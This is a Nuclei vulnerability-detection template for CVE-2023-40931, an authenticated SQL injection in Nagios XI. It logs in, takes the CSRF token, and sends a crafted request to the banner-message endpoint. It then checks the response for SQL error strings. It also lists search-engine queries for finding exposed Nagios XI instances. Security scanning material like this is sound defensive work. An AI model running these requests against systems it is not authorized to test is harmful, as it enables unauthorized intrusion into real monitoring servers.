id: CVE-2023-40931

info:
  name: Nagios XI v5.11.0 - SQL Injection
  author: ritikchaddha
  severity: medium
  description: |
    A SQL injection vulnerability in Nagios XI from version 5.11.0 up to and including 5.11.1 allows authenticated attackers to execute arbitrary SQL commands via the ID parameter in the POST request to /nagiosxi/admin/banner_message-ajaxhelper.php.
  impact: |
    Successful exploitation of this vulnerability allows an authenticated attackers to execute arbitrary SQL commands.
  remediation: |
    Upgrade Nagios XI to a patched version or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://rootsecdev.medium.com/notes-from-the-field-exploiting-nagios-xi-sql-injection-cve-2023-40931-9d5dd6563f8c
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40931
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-40931
    cwe-id: CWE-89
    epss-score: 0.8844
    epss-percentile: 0.99516
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: nagios
    product: nagios_xi
    shodan-query: title:"Nagios XI"
    fofa-query: app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve2023,cve,authenticated,nagiosxi,sqli,nagios,vuln

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}

      - |
        POST /nagiosxi/admin/banner_message-ajaxhelper.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=acknowledge_banner_message&id=*

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Failed to acknowledge"
          - "SQL Error"
          - "right syntax to use near"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nsp
        part: body
        group: 1
        regex:
          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
        internal: true
# digest: 4b0a00483046022100eca7f2e1119f96dc94ad3ce6b8a4643a807d75751ab653b19a1bde3e17b8b282022100cfd0d18be1b7f9033b70e2b62e8dd9552816c9b8f69a3b8581d9848facd3c022:922c64590222798bb761d5b6d8e72950